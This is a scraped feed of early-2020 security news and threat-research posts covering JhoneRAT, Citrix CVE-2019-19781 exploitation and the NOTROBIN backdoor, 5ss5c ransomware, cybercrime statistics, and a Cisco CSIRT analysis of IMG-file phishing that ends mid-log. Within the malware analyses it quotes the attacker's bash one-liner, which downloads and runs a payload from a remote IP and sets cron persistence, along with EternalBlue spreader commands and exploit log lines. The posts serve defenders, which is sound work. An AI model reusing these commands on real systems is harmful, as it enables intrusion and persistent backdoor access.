Pierluigi Paganini

(SecurityAffairs – Fbot, malware)

The post The Mystery of Fbot appeared first on Security Affairs.

JhoneRAT uses Google Drive, Twitter, ImgBB, and Google Forms to target countries in Middle East

Researchers from Cisco Talos discovered a new Trojan named JhoneRAT that was used in targeted attacks against entities in the Middle East.

A new Trojan named JhoneRAT appeared in the threat landscape, it is selectively attacking targets in the Middle East by checking keyboard layouts.

The malware targets a very specific set of Arabic-speaking countries, including Saudi Arabia, Iraq, Egypt, Libya, Algeria, Morocco, Tunisia, Oman, Yemen, Syria, UAE, Kuwait, Bahrain, and Lebanon.

“Today, Cisco Talos is unveiling the details of a new RAT we have identified we’re calling “JhoneRAT.” This new RAT is dropped to the victims via malicious Microsoft Office documents.” reads the analysis published by Cisco Talos. “The dropper, along with the Python RAT, attempts to gather information on the victim’s machine and then uses multiple cloud services: Google Drive, Twitter, ImgBB and Google Forms.”


The experts discovered that the RAT is distributed via weaponized Office documents, it leverages multiple cloud services (i.e. Google Drive, Twitter, ImgBB and Google Forms) to avoid detection. 

The JhoneRAT is written in Python, it attempts to download additional payloads and upload the information gathered during the reconnaissance phase.

Talos researchers identified three weaponized Microsoft Office documents that download and load an additional document containing a Macro. The first document named “Urgent.docx” is dated back November 2019.  

The second document named “fb.docx” is dated January and claims to contain data on a Facebook information leak. The third document found in the mid-January pretends to be from a legitimate United Arab Emirate organization. 

The additional Office documents loaded and executed by the JhoneRAT are hosted through Google Drive in the attempt to avoid URL blacklisting. 

JhoneRAT is dropped through Google Drive, which hosts images with a base64-encoded binary appended at the end. Once the images are loaded onto a target machine will deploy the Trojan that harvests information from the victim’s machine (i.e. OS, disk serial numbers, the antivirus, and more). 

The malware used Twitter as C2 while exfiltrates information, it checks a public Twitter feed every 10 seconds.

When communicating with its command-and-control server (C2) in order to exfiltrate information, it checks for comments every 10 seconds.

“This RAT uses three different cloud services to perform all its command and control (C2) activities. It checks for new commands in the tweets from the handle @jhone87438316 (suspended by Twitter) every 10 seconds using the BeautifulSoup HTML parser to identify new tweets.” continues the analysis. “These commands can be issued to a specific victim based on the UID generated on each target (by using the disk serial and contextual information such as the hostname, the antivirus and the OS) or to all of them.”

Experts pointed out that stolen data are exfiltrated through cloud providers, for example, screenshots are uploaded to ImgBB, while commands are executed with output sent to Forms. The malware download binaries disguised has a picture from the Google Drive and execute them.

“The attacker put a couple of tricks in place to avoid execution on virtual machines (sandbox). The first trick is the check of the serial number of the disk. The actor used the same technique in the macro and in the JhoneRAT. By default, most of the virtual machines do not have a serial number on the disk.” continues the analysis.

“The attacker used a second trick to avoid analysis of the Python code. The actor used the same trick that FireEye in the Flare-On 6: Challenge 7: They removed the header of the Python bytecode.”

According to the experts, the campaign is still ongoing, even if the Twitter account is suspended, attackers can easily create new accounts and use them in the same way.

“This campaign shows a threat actor interested in specific Middle Eastern and Arabic-speaking countries. It also shows us an actor that puts effort in opsec by only using cloud providers.” concludes the report. “The malicious documents, the droppers and the RAT itself are developed around cloud providers. Additionally the attackers implemented anti-VM (and sandbox) and anti-analysis tricks to hide the malicious activities to the analyst.”

The analysis published by Talos contains additional technical details, including Indicators of Compromise.

Pierluigi Paganini

(SecurityAffairs – JhoneRAT, malware)

The post JhoneRAT uses Google Drive, Twitter, ImgBB, and Google Forms to target countries in Middle East appeared first on Security Affairs.

Security Affairs newsletter Round 247

A new round of the weekly newsletter arrived! The best news of the week with Security Affairs

Google removed 1.7K+ Joker Malware infected apps from its Play Store
MageCart attack hit Australia bushfire Donors
New Bill prohibits intelligence sharing with countries using Huawei 5G equipment
5G – The Future of Security and Privacy in Smart Cities
Facebook quickly fixed a bug exploited in attacks that exposed Page Admins info
Hacker that hit UK National Lottery in 2016 was sentenced to prison
Maze Ransomware operators leak 14GB of files stolen from Southwire
US officials meet UK peers to remark the urgency to ban Huawei 5G tech
China-linked APT40 group hides behind 13 front companies
Cisco addressed a high-severity bug in Webex that could allow Remote Code Execution
January 2020 Adobe Patch Tuesday updates fix issues in Illustrator, Experience Manager
Why Russian APT Fancy Bear hacked the Ukrainian energy firm Burisma?
Hacker offers for sale 49 million user records from US data broker LimeLeads
Iranian Threat Actors: Preliminary Analysis
Microsoft addresses CVE-2020-0601 flaw, the first issue ever reported by NSA
P&N Bank data breach may have impacted 100,000 West Australians
VMware addresses flaws in VMware Tools and Workspace ONE SDK
5ss5c Ransomware emerges after Satan went down in the hell
Critical auth bypass issues affect InfiniteWP Client and WP Time Capsule WordPress plugins
Hundreds of million users installed Android fleeceware apps from Google Play
Two PoC exploits for CVE-2020-0601 NSACrypto flaw released
Chinese police arrested the operator of unauthorized VPN service that made $1.6 million from his activity
Expert released PoC exploits for recently disclosed Cisco DCNM flaws
Hack the Army bug bounty program paid $275,000 in rewards
Law enforcement seized for selling access to data from data breaches
Cybercrime Statistics in 2019
Microsoft provides mitigation for actively exploited CVE-2020-0674 IE Zero-Day
Turkish Hackers hit Greek Government websites and local stock exchange

Pierluigi Paganini

(SecurityAffairs – newsletter)

The post Security Affairs newsletter Round 247 appeared first on Security Affairs.

Hackers patch Citrix servers to deploy their own backdoor

Attacks on Citrix servers are intensifying, one of the threat actors behind them is patching them and installing its own backdoor to lock out other attackers.

Security experts are monitoring a spike in the number of attacks against Citrix servers after that researchers announced the availability online of proof-of-concept exploits for the CVE-2019-19781 flaw in Citrix NetScaler ADC and Citrix NetScaler Gateway servers.

Researchers from FireEye noticed that one of the threat actors involved in the attacks is patching the vulnerable Citrix servers, installing their own backdoor, tracked as NOTROBIN, to clean up other malware infections and to lock out any other threat from exploiting the CVE-2019-19781 Citrix flaw.

“One particular threat actor that’s been deploying a previously-unseen payload for which we’ve created the code family NOTROBIN.” reads a report published by FireEye.

“Upon gaining access to a vulnerable NetScaler device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign.”

The popular expert Kevin Beaumont first reported the scans for vulnerable systems earlier in January, but only last week the exploits were made public.

The issue affects all supported product versions and all supported platforms:

  • Citrix ADC and Citrix Gateway version 13.0 all supported builds
  • Citrix ADC and NetScaler Gateway version 12.1 all supported builds
  • Citrix ADC and NetScaler Gateway version 12.0 all supported builds
  • Citrix ADC and NetScaler Gateway version 11.1 all supported builds
  • Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds

It has been estimated that 80,000 companies in 158 countries are potentially at risk, most of them in the U.S. (38%), followed by the UK, Germany, the Netherlands, and Australia. 

CVE-2019-19781 Citrix

The CVE-2019-19781 vulnerability was discovered by Mikhail Klyuchnikov from Positive Technologies. 

The NOTROBIN backdoor was designed to prevent subsequent exploitation of the flaw on Citrix servers and also to establish backdoor access, a circumstance that suggests that attackers are preparing future attacks. 

Experts pointed out that the threat actor exploits CVE-2019-19781 to execute shell commands, attackers send the malicious payload to the vulnerable CGI script through an HTTP POST request from a Tor exit node.

Below a web server access log entry reporting the exploitation attemp: – – [12/Jan/2020:21:55:19 -0500] “POST
/vpn/../vpns/portal/scripts/ HTTP/1.1″ 304 – “-” “curl/7.67.0”

The experts have yet to recover the POST body contents and analyze them.

Then attackers execute one-line bash script to remove crypto-miners, create a hidden staging folder (/tmp/.init) and download NOTROBIN to it, and install /var/nstmp/.nscache/httpd for persistence via the cron daemon. 

NOTROBIN is written in Go, it scans every second for specific files and delete them. If the filename or file content includes a hardcoded key, the files are not deleted. 

“The mitigation works by deleting staged exploit code found within NetScaler templates before it can be invoked. However, when the actor provides the hardcoded key during subsequent exploitation, NOTROBIN does not remove the payload. This lets the actor regain access to the vulnerable device at a later time,” continues the analysis. 

The experts from FireEye noticed threat actors deploying NOTROBIN with unique keys, they observed nearly 100 keys from different binaries.

The keys look like MD5 hashes, the use of unique keys makes it difficult for third parties, including competing attackers, to scan for NetScaler devices already infected with NOTROBIN.

FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators that check into their devices after reading Citrix security bulletin CTX267027.” concludes FireEye.”NOTROBIN mitigates CVE-2019-19781 on compromised devices but retains a backdoor for an actor with a secret key. While we haven’t seen the actor return, we’re skeptical that they will remain a Robin Hood character protecting the internet from the shadows.”

Further technical details are reported in the analysis published by FireEye, including Indicators of Compromise (IoCs).

Pierluigi Paganini

(SecurityAffairs – Citrix Servers, CVE-2019-19781)

The post Hackers patch Citrix servers to deploy their own backdoor appeared first on Security Affairs.

Cybercrime Statistics in 2019

I’m preparing the slides for my next speech and I decided to create this post while searching for interesting cybercrime statistics in 2020

Cybercrime will cost as much as $6 trillion annually by 2021.

The global expense for organizations to protect their systems from cybercrime attacks will continue to grow. According to the Cybersecurity Ventures’ cybercrime statistics 2017 cybercrime damages will amount to a staggering $6 trillion annually starting in 2021. Experts fear that the cost of cybercrime should exceed annual costs for natural disasters by 2021. These figures suggest that cybercrime is becoming more profitable than other criminal activities, such as the illegal drug trade. 

Financial losses reached $2.7 billion in 2018.

According to the IC3 Annual Report released in April 2019 financial losses reached $2.7 billion in 2018. Most financially devastating threats involved investment scams, business email compromises (BEC), and romance fraud

The total cost of cybercrime for each company in 2019 reached US$13M.

The total cost of cybercrime for each company increased from US$11.7 million in 2017 to a new high of US$13.0 million—a rise of 12 percent, states the “NINTH ANNUAL COST OF CYBERCRIME STUDY” published by Accenture.

The total annual cost of all types of cyberattacks is increasing.

According to Accenture, malware and Web-based attacks continue to cause higher financial losses to organizations worldwide. The cost of ransomware attacks accounts for 21 percent of the overall expenses, while the cost of malicious insider accounts for 15 percent. The cost of malware attacks is now an average of US$2.6 million annually for organizations.

Source Accenture

Which countries have the worst (and best) cybersecurity?

According to a the report published by Comparitech that used the Global Cybersecurity Index (GCI) scores, Bangladesh saw the highest number of malware infections approximately 35.91% of the country’s mobile users have fallen victim to malware infections. The same report states that Japan is the most equipped country at preventing cybersecurity threats, with the smallest number of mobile malware infections, with only 1.34% of its mobile users affected by the attacks. Other top-performing countries included France, Canada, Denmark, and the United States.

Algeria is the least cyber-secure country, followed by Indonesia and Vietnam.

Which is the impact of cybercrime on small business?

According to the 2019 Data Breach Investigations Report, 43% of all nefarious online activities impacted small businesses. Giving a look at suffered by organizations, 69% of the attacks were perpetrated by outsiders, 34% involved Internal actors, 5% of them featured multiple parties, 2% involved partners.

According to the annual study conducted by IBM examining the financial impact of data breaches on organizations, the cost of a data breach has risen 12% over the past 5 years and now costs $3.92 million on average. These rising expenses are representative of the multiyear financial impact of breaches, increased regulation and the complex process of resolving criminal attacks. Small businesses with fewer than 500 employees lose an average of $2.5 million due to security incidents.

What about data breaches?

The majority of security breaches were financially motivated, 71%, while 25% of breaches were motivated by the gain of strategic advantage (espionage).

29% of breaches involved use of stolen credentials, 32% of them were the result of phishing attacks. 25% of breaches were motivated by the gain of strategic advantage (espionage)

cybercrime statistics

What about malware?

According to the Symantec 2019 Internet Security Threat Report, The number of attack groups using destructive malware increased by +25, the number of ransomware attack increased for 12%, very concerning it +33% increase in mobile malware.

Bots and worms continue to account for the vast majority of Internet of Things (IoT) attacks, in 2018 Symantec reported a significant increase of targeted attack actors against smart objects confirming the high interest in IoT as an infection vector.

Pierluigi Paganini

(SecurityAffairs – cybercrime statistics, hacking)

The post Cybercrime Statistics in 2019 appeared first on Security Affairs.

Threat Roundup for January 10 to January 17

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Jan 10 and Jan 17. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center,, or

Read More


TRU01172020 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

The post Threat Roundup for January 10 to January 17 appeared first on Cisco Blogs.

404 Exploit Not Found: Vigilante Deploying Mitigation for Citrix NetScaler Vulnerability While Maintaining Backdoor

As noted in Rough Patch: I Promise It'll Be 200 OK, our FireEye Mandiant Incident Response team has been hard at work responding to intrusions stemming from the exploitation of CVE-2019-19781. After analyzing dozens of successful exploitation attempts against Citrix ADCs that did not have the Citrix mitigation steps implemented, we’ve recognized multiple groups of post-exploitation activity. Within these, something caught our eye: one particular threat actor that’s been deploying a previously-unseen payload for which we’ve created the code family NOTROBIN.

Upon gaining access to a vulnerable NetScaler device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign.

Initial Compromise

This actor exploits NetScaler devices using CVE-2019-19781 to execute shell commands on the compromised device. They issue an HTTP POST request from a Tor exit node to transmit the payload to the vulnerable CGI script. For example, Figure 1 shows a web server access log entry recording exploitation: - - [12/Jan/2020:21:55:19 -0500] "POST
/vpn/../vpns/portal/scripts/ HTTP/1.1" 304 - "-" "curl/7.67.0"

Figure 1: Web log showing exploitation

Unlike other actors, this actor appears to exploit devices using a single HTTP POST request that results in an HTTP 304 response—there is no observed HTTP GET to invoke staged commands. Unfortunately, we haven’t recovered the POST body contents to see how it works.  In any case, exploitation causes the Bash one liner shown in Figure 2 to run on the compromised system:

pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k
hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"

Figure 2: Bash exploit payload

This is the same methodology as described in Rough Patch: I Promise It'll Be 200 OK. The effects of this series of commands includes:

  1. Kill and delete all running instances of netscalerd—a common process name used for cryptocurrency mining utilities deployed to NetScaler devices.
  2. Creates a hidden staging directory /tmp/.init, download NOTROBIN to it, and enable the execute permission.
  3. Install /var/nstmp/.nscache/httpd for persistence via the cron daemon. This is the path to which NOTROBIN will copy itself.
  4. Manually execute NOTROBIN.

There’s a lot to unpack here. Of note, the actor removes malware known to target NetScaler devices via the CVE-2019-19781 vulnerability. Cryptocurrency miners are generally easy to identify—just look for the process utilizing nearly 100% of the CPU. By uninstalling these unwanted utilities, the actor may hope that administrators overlook an obvious compromise of their NetScaler devices.

The actor uses curl to fetch NOTROBIN from the hosting server with IP address 95.179.163[.]186 that appears to be an abandoned WordPress site. FireEye has identified many payloads hosted on this server, each named after their embedded authentication key. Interestingly, we haven’t seen reuse of the same payload across multiple clients. Compartmenting payloads indicates the actor is exercising operational security.

FireEye has recovered cron syslog entries, such as those shown in Figure 3, that confirm the persistent installation of NOTROBIN. Note that these entries appear just after the initial compromise. This is a robust indicator of compromise to triage NetScaler devices.

Jan 12 21:57:00 <> foo.netscaler /usr/sbin/cron[73531]:
(nobody) CMD (/var/nstmp/.nscache/httpd)

Figure 3: cron log entry showing NOTROBIN execution

Now, let’s turn our attention to what NOTROBIN does.

Analysis of NOTROBIN

NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system.

When executed, NOTROBIN ensures that it is running from the path /var/nstmp/.nscache/httpd. If not, the utility copies itself to this path, spawns the new copy, and then exits itself. This provides detection cover by migrating the process from /tmp/, a suspicious place for long-running processes to execute, to an apparently NetScaler-related, hidden directory.

Now the fun begins: it spawns two routines that periodically check for and delete exploits.

Every second, NOTROBIN searches the directory /netscaler/portal/scripts/ for entries created within the last 14 days and deletes them, unless the filename or file content contains a hardcoded key (example: 64d4c2d3ee56af4f4ca8171556d50faa). Open source reporting indicates that some actors write scripts into this directory after exploiting CVE-2019-19781. Therefore, we believe that this routine cleans the system of publicly known payloads, such as

Eight times per second, NOTROBIN searches for files with an .xml extension in the directory /netscaler/portal/templates/. This is the directory into which exploits for CVE-2019-19781 write templates containing attacker commands. NOTROBIN deletes files that contain either of the strings block or BLOCK, which likely match potential exploit code, such as that found in the ProjectZeroIndia exploit; however, the utility does not delete files with a filename containing the secret key.

FireEye believes that actors deploy NOTROBIN to block exploitation of the CVE-2019-19781 vulnerability while maintaining backdoor access to compromised NetScaler devices. The mitigation works by deleting staged exploit code found within NetScaler templates before it can be invoked. However, when the actor provides the hardcoded key during subsequent exploitation, NOTROBIN does not remove the payload. This lets the actor regain access to the vulnerable device at a later time.

Across multiple investigations, FireEye observed actors deploying NOTROBIN with unique keys. For example, we’ve recovered nearly 100 keys from different binaries. These look like MD5 hashes, though FireEye has been unsuccessful in recovering any plaintext. Using complex, unique keys makes it difficult for third parties, such as competing attackers or FireEye, to easily scan for NetScaler devices “protected” by NOTROBIN. This actor follows a strong password policy!

Based on strings found within NOTROBIN, the actor appears to inject the key into the Go project using source code files named after the key. Figure 4 and Figure 5 show examples of these filenames.


Figure 4: Source filename recovered from NOTROBIN sample


Figure 5: Source filename recovered from NOTROBIN sample

We wonder if “tmpl_ci” refers to a Continuous Integration setup that applies source code templating to inject keys and build NOTROBIN variants. We also hope the actor didn’t have to revert to backups after losing the original source!

Outstanding Questions

NOTROBIN spawns a background routine that listens on UDP port 18634 and receives data; however, it drops the data without inspecting it. You can see this logic in Figure 6. FireEye has not uncovered a purpose for this behavior, though DCSO makes a strong case for this being used as a mutex, as only a single listener can be active on this port.

Figure 6: NOTROBIN logic that drops UDP traffic

There is also an empty function main.install_cron whose implementation has been removed, so alternatively, perhaps these are vestiges of an early version of NOTROBIN. In any case, a NetScaler device listening on UDP port 18634 is a reliable indicator of compromise. Figure 7 shows an example of listing the open file handles on a compromised NetScaler device, including a port listening on UDP 18634.

Figure 7: File handling listing of compromised NetScaler device


During one engagement, FireEye reviewed forensic evidence of NetScaler exploitation attempts against a single device, both before and after NOTROBIN was deployed by an actor. Prior to January 12, before NOTROBIN was installed, we identified successful attacks from multiple actors. But, across the following three days, more than a dozen exploitation attempts were thwarted by NOTROBIN. In other words, NOTROBIN inoculated the vulnerable device from further compromise. For example, Figure 8 shows a log message that records a failed exploitation attempt. - - [13/Jan/2020:05:09:07 -0500] "GET
/vpn/../vpns/portal/wTyaINaDVPaw8rmh.xml HTTP/1.1" 404 48 "-"

Figure 8: Web log entry showing a failed exploitation attempt

Note that the application server responded with HTTP 404 (“Not Found”) as this actor attempts to invoke their payload staged in the template wTyaINaDVPaw8rmh.xml. NOTROBIN deleted the malicious template shortly after it was created – and before it could be used by the other actor.

FireEye has not yet identified if the actor has returned to NOTROBIN backdoors.


FireEye believes that the actor behind NOTROBIN has been opportunistically compromising NetScaler devices, possibly to prepare for an upcoming campaign. They remove other known malware, potentially to avoid detection by administrators that check into their devices after reading Citrix security bulletin CTX267027. NOTROBIN mitigates CVE-2019-19781 on compromised devices but retains a backdoor for an actor with a secret key. While we haven’t seen the actor return, we’re skeptical that they will remain a Robin Hood character protecting the internet from the shadows.

Indicators of Compromise and Discovery

Table 1 lists indicators that match NOTROBIN variants that FireEye has identified. The domain vilarunners[.]cat is the WordPress site that hosted NOTROBIN payloads. The domain resolved to 95.179.163[.]186 during the time of observed activity. As of January 15, the vilarunners[.]cat domain currently resolves to a new IP address of 80.240.31[.]218.

IOC Item


HTTP URL prefix










Crontab entry


Listening UDP port


Remote IP


Remote IP




Table 1: Indicators of Compromise

Discovery on VirusTotal

You can use the following VTI queries to identify NOTROBIN variants on VirusTotal:

  • vhash:"73cee1e8e1c3265c8f836516c53ae042"
  • vhash:"e57a7713cdf89a2f72c6526549d22987"

Note, the vHash implementation is private, so we’re not able to confirm why this technique works. In practice, the vHashes cover the same variants identified by the Yara rule listed in Figure 9.




        author = ""

        date_created = "2020-01-15"


        $func_name_1 = "main.remove_bds"

        $func_name_2 = "main.xrun"


        all of them


Figure 9: Yara rule that matches on NOTROBIN variants

Recovered Authentication Keys

FireEye has identified nearly 100 hardcoded keys from NOTROBIN variants that the actor could use to re-enter compromised environments. We expect that these strings may be found within subsequent exploitation attempts, either as filenames or payload content. Although we won’t publish them here out of concern for our customers, please reach out if you’re looking for NOTROBIN within your environment and we can provide a list.


Thank you to analysts across FireEye that are currently responding to this activity, including Brandan Schondorfer for collecting and interpreting artifacts, Steven Miller for coordinating analysis, Evan Reese for pivoting across intel leads, Chris Glyer for reviewing technical aspects, Moritz Raabe for reverse engineering NOTROBIN samples, and Ashley Frazer for refining the presentation and conclusions.

I’m still on Windows 7 – what should I do?

Support for Windows 7 has ended, leaving Marcy wondering how they can protect themselves

I do a lot of work on a Windows 7 desktop PC that is about five years old. I’m a widow and can’t afford to run out and get a new PC at this time, or pay for Windows 10. If I do stay with Windows 7, what should I worry about, and how can I protect myself? I have been running Kaspersky Total Security for several years, which has worked well so far. Marcy

Microsoft Windows 7 – launched in 2009 – came to the end of its supported life on Tuesday. Despite Microsoft’s repeated warnings to Windows 7 users, there may still be a couple of hundred million users, many of them in businesses. What should people do next?

Continue reading...

5ss5c Ransomware emerges after Satan went down in the hell

The cybercrime group behind Satan ransomware and other malware seems to be involved in the development of a new threat named 5ss5c.

The threat actors behind the Satan, DBGer and Lucky ransomware and likely Iron ransomware, is back with a new piece of malware named ‘5ss5c’.

The Bart Blaze believes that the threat actors have been working on the 5ss5c ransomware since at least November 2019, and likely the malicious code is still under development. Experts, in fact, discovered a second spreader module, packed with Enigma VirtualBox, within the code, that is named poc.exe.

“There’s quite some curiosities that indicate 5ss5c is still in active development and stems from Satan ransomware.” reads the analysis published by Blaze.

“This suggest they may be experimenting (poc often is an acronym for proof oconcept).”

The expert discovered several artifacts that suggest 5ss5c stems from Satan ransomware, he also pointed out that updates for Satan stopped in August while 5ss5c appeared in the threat landscape in November.

Like Satan, 5ss5c launches process via a downloader, leverages the EternalBlue exploit for spreading. Blaze added that several Satan artefacts, and tactics, techniques and procedures (TTPs) have similarities with both Satan and DBGer, and partially with Iron.

The file poc.exe is dropped to C:\ProgramData\poc.exe, and runs the command:

cd /D C:\ProgramData&star.exe –OutConfig a –TargetPort 445 –Protocol SMB –Architecture x64 –Function RunDLL –DllPayload C:\ProgramData\down64.dll –TargetIp 

that is similar to the command executed by the Satan ransomware:

cmd /c cd /D C:\Users\Alluse~1\&blue.exe –TargetIp & star.exe –OutConfig a –TargetPort 445 –Protocol SMB –Architecture x64 –Function RunDLL –DllPayload down64.dll –TargetIp

Both Satan and 5ss5c have an exclusion list of files that are not encrypted by the malicious codes, the list of the new ransomware include additional files like the one associated with Qih00 360 security solutions (i.e. 360download and 360safe files).

The 5ss5c ransomware drops a ransom note in Chinese that demands the a ransom of 1 bitcoin for decryption.


The ransom demand will double after 48 hours. The ransom note doesn’t include attackers’email to contact for the payment or a Bitcoin address, instead the ransomware prepends the email address (5ss5c(at)mail[.]ru) to the file name of each encrypted file, for example test.txt becomes []test.txt.Y54GUHKIG1T2ZLN76II9F3BBQV7MK4UOGSQUND7U.5ss5c.

“Whoever’s behind the development of Satan, DBGer, Lucky and likely Iron ransomware, is back in business with the 5ss5c ransomware, and it appears to be in active development – and is trying to increase (or perhaps focus?) its targeting and spread of the ransomware.” concludes the expert.

The analysis published by Blaze includes the indicators of compromise (IOCs).

Pierluigi Paganini

(SecurityAffairs – cybercrime, ransomware)

The post 5ss5c Ransomware emerges after Satan went down in the hell appeared first on Security Affairs.

Emotet remains the dark market leader for delivery-as-a-service

The vast majority of nationally sponsored cybersecurity incidents take the form of espionage through data exfiltration, with frequent employment of remote access tool Plug-X, according to the annual threat report by eSentire. Emotet is the leader The report found that Emotet accounted for almost 20% of confirmed malware incidents, reinforcing its role in the black market as the preferred delivery tool. Emotet was the most observed threat both on networks and on endpoints, achieving this … More

The post Emotet remains the dark market leader for delivery-as-a-service appeared first on Help Net Security.

Disk Image Deception

Cisco’s Computer Security Incident Response Team (CSIRT) detected a large and ongoing malspam campaign leveraging the .IMG file extension to bypass automated malware analysis tools and infect machines with a variety of Remote Access Trojans. During our investigation, we observed multiple tactics, techniques, and procedures (TTPs) that defenders can monitor for in their environments. Our incident response and security monitoring team’s analysis on a suspicious phishing attack uncovered some helpful improvements in our detection capabilities and timing.

In this case, none of our intelligence sources had identified this particular campaign yet. Instead, we detected this attack with one of our more exploratory plays looking for evidence of persistence in the Windows Autoruns data. This play was successful in detecting an attack against a handful of endpoints using email as the initial access vector and was able to evade our defenses at the time. Less than a week after the incident, we received alerts from our retrospective plays for this same campaign once our integrated threat intelligence sources delivered the indicators of compromise (IOC). This blog is a high level write-up of how we adapted to a potentially successful attack campaign and our tactical analysis to help prevent and detect future campaigns. 

(This blog was co-authored by Jeff Bollinger & William Sheldon)

Incident Response Techniques and Strategy

The Cisco Computer Security and Incident Response Team (CSIRT) monitors Cisco for threats and attacks against our systems, networks, and data. The team provides around the globe threat detection, incident response, and security investigations. Staying relevant as an IR team means continuously developing and adapting the best ways to defend the network, data, and infrastructure. We’re constantly experimenting with how to improve the efficiency of our data-centric playbook approach in the hope it will free up more time for threat hunting and more in-depth analysis and investigations. Part of our approach has been that as we discover new methods for detecting risky activity, we try to codify those methods and techniques into our incident response monitoring playbook to keep an eye on any potential future attacks.

Although some malware campaigns can slip past the defenses with updated techniques, we preventatively block the well-known, or historical indicators and leverage broad, exploratory analysis playbooks that spotlight more on how attackers operate and infiltrate. In other words, there is value in monitoring for the basic atomic indicators of compromised like IP addresses, domain names, file hashes, etc. but to go further you really have to look broadly at more generic attack techniques. These playbooks, or plays, help us find out about new attack campaigns that are possibly targeted and potentially more serious. While some might label this activity “threat hunting”, this data exploration process allows us to discover, track, and potentially share new indicators that get exposed during a deeper analysis. 

Defense in depth demands that we utilize additional data sources in case attackers successfully evade one or more of our defenses, or if they were able to obscure their malicious activities enough to avoid detection. Recently we discovered a malicious spam campaign that almost succeeded due to a missed early detection. In one of our exploratory plays, we use daily diffs for all the Microsoft Windows registry autorun key changes since the last boot. Known as “Autoruns“, this data source ultimately helped us discover an ongoing attack that was attempting to deliver a remote access trojan (RAT). Along with the more mundane Windows event logs, we pieced together the attack from the moment it arrived and made some interesting discoveries on the way — most notably how the malware seemingly slipped past our front line filters. Not only did we uncover many technical details about the campaign, but we also used it as an opportunity to refine our incident response detection techniques and some of our monitoring processes.

IMG File Format Analysis

.IMG files are traditionally used by disk image files to store raw dumps of either a magnetic disk or of an optical disc. Other disk image file formats include ISO and BIN. Previously, mounting disk image file files on Windows required the user to install third-party software. However Windows 8 and later automatically mount IMG files on open. Upon mounting, Windows File Explorer displays the data inside the .IMG file to the end user. Although disk image files are traditionally utilized for storing raw binary data, or bit-by-bit copies of a disk, any data could be stored inside them. Because of the newly added functionality to the Windows core operating system, attackers are abusing disk image formats to “smuggle” data past antivirus engines, network perimeter defenses, and other auto mitigation security tooling. Attackers have also used the capability to obscure malicious second stage files hidden within a filesystem by using ISO and DMG (to a lesser extent). Perhaps the IMG extension also fools victims into considering the attachment as an image instead of a binary pandora’s box.

Know Where You’re Coming From

As phishing as an attack vector continues to grow in popularity, we have recently focused on several of our email incident response plays around detecting malicious attachments, business email compromise techniques like header tampering or DNS typosquatting, and preventative controls with inline malware prevention and malicious URL rewriting.

Any security tool that has even temporarily outdated definitions of threats or IOCs will be unable to detect a very recent event or an event with a recent, and therefore unknown, indicator. To ensure that these missed detections are not overlooked, we take a retrospective look back to see if any newly observed indicators are present in any previously delivered email. So when a malicious attachment is delivered to a mailbox, if the email scanners and sandboxes do not catch it the first time, our retrospective plays look back to see if the updated indicators are triggered. Over time sandboxes update their detection abilities and previously “clean” files could change status. The goal is to detect this changing status and if we have any exposure, then we reach out and remediate the host.


This process flow shows our method for detecting and responding to updated verdicts from sandbox scanners. During this process we collect logs throughout to ensure we can match against hashes or any other indicator or metadata we collect: 

Retrospective Email Detection Incident Response

Figure 1: Flow chart for Retrospective alerting

This process in combination with several other threat hunting style plays helped lead us to this particular campaign. The IMG file isn’t unique by any means but was rare and stood out to our analysts immediately when combined with the file name as a fake delivery invoice – one of the more tantalizing and effective types of phishing lures.

Incident Response and Analysis

We needed to pull apart as much of the malicious components as possible to understand how this campaign worked and how it might have slipped our defenses temporarily. The process tree below shows how the executable file dropped from the original IMG file attachment after mounting led to a Nanocore installation:

Analysis Behavior Graph

Figure 2: Visualization of the malicious process tree.



As part of our daily incident response playbook operations, we recently detected a suspicious Autoruns event on an endpoint. This log (Figure 2) indicated that an unsigned binary with multiple detections on the malware analysis site, VirusTotal, had established persistence using the ‘Run’ registry key. Anytime the user logged in, the binary referenced in the “run key” would automatically execute – in this case the binary called itself “filename.exe” and dropped in the typical Windows “%SYSTEMROOT%\%USERNAME%\AppData\Roaming” directory:


    "enabled": "enabled",

    "entry": "startupname",

    "entryLocation": "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",

    "file_size": "491008",

    "hostname": "[REDACTED]",

    "imagePath": "c:\\users\\[REDACTED]\\appdata\\roaming\\filename.exe",

    "launchString": "C:\\Users\\[REDACTED]\\AppData\\Roaming\\filename.exe",

    "md5": "667D890D3C84585E0DFE61FF02F5E83D",

    "peTime": "5/13/2019 12:48 PM",

    "sha256": "42CCA17BC868ADB03668AADA7CF54B128E44A596E910CFF8C13083269AE61FF1",

    "signer": "",

    "vt_link": "",

    "vt_ratio": "46/73",

    "sourcetype": "autoruns",


